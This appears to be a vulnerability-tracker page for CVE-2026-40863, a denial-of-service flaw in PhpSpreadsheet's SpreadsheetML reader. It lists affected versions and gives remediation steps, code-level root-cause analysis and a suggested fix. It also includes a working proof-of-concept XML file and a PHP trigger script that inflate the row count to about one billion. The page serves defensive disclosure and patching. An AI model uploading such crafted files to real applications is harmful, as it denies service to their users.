Live › vulnerability › CVE-2026-40863
Go to dashboardPhpSpreadsheet's XML reader accepts an unbounded row index in a SpreadsheetML file, so a roughly 300-byte upload inflates the sheet's highest row to about one billion. Iterating that sheet then consumes CPU until the request is killed, denying service to the application.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 20:56 UTC, 0h before NVD. All times on this page are UTC.
Applications that pass user-uploaded or otherwise untrusted SpreadsheetML XML files (Excel 2003 XML format) to PhpSpreadsheet's XML reader are exposed. Applications that only read XLSX or other formats, or that never process untrusted files, can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| phpoffice/phpspreadsheet | composer | >= 4.0.0, <= 5.6.0 | 5.7.0 |
| phpoffice/phpspreadsheet | composer | >= 3.3.0, <= 3.10.4 | 3.10.5 |
| phpoffice/phpspreadsheet | composer | >= 2.2.0, <= 2.4.4 | 2.4.5 |
| phpoffice/phpspreadsheet | composer | >= 2.0.0, <= 2.1.15 | 2.1.16 |
| phpoffice/phpspreadsheet | composer | <= 1.30.5 | 1.30.6 |
| phpoffice phpspreadsheet | vendor | < 1.30.4 | 1.30.4 |
| phpoffice phpspreadsheet | vendor | >= 2.0.0, < 2.1.16 | 2.1.16 |
| phpoffice phpspreadsheet | vendor | >= 2.2.0, < 2.4.5 | 2.4.5 |
| phpoffice phpspreadsheet | vendor | >= 3.3.0, < 3.10.5 | 3.10.5 |
| phpoffice phpspreadsheet | vendor | >= 4.0.0, < 5.7.0 | 5.7.0 |
composer show phpoffice/phpspreadsheet and compare the installed version to the affected ranges.Reader\Xml or IOFactory::createReader('Xml') to see whether SpreadsheetML files from users are loaded.5.7.0 on the 5.x line, 3.10.5 on 3.x, 2.4.5 on 2.x, 2.1.16 on 2.1, or 1.30.6 on 1.x.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
// Xml.php:397-402
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
$rowVisible = ((string) $row_ss['Hidden']) !== '1';
$spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}
The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
$this->endRow = $endRow ?: $this->subject->getHighestRow();
return $this;
}
With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
poc.xml:<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
<Worksheet ss:Name="Sheet1">
<Table>
<Row ss:Index="999999999" ss:Hidden="1"/>
<Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
</Table>
</Worksheet>
</Workbook>
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
// Never completes
}
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
// After line 398:
if (isset($row_ss['Index'])) {
$rowID = (int) $row_ss['Index'];
if ($rowID > AddressRange::MAX_ROW) {
$rowID = AddressRange::MAX_ROW;
}
}
Add the necessary import at the top of the file:
use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
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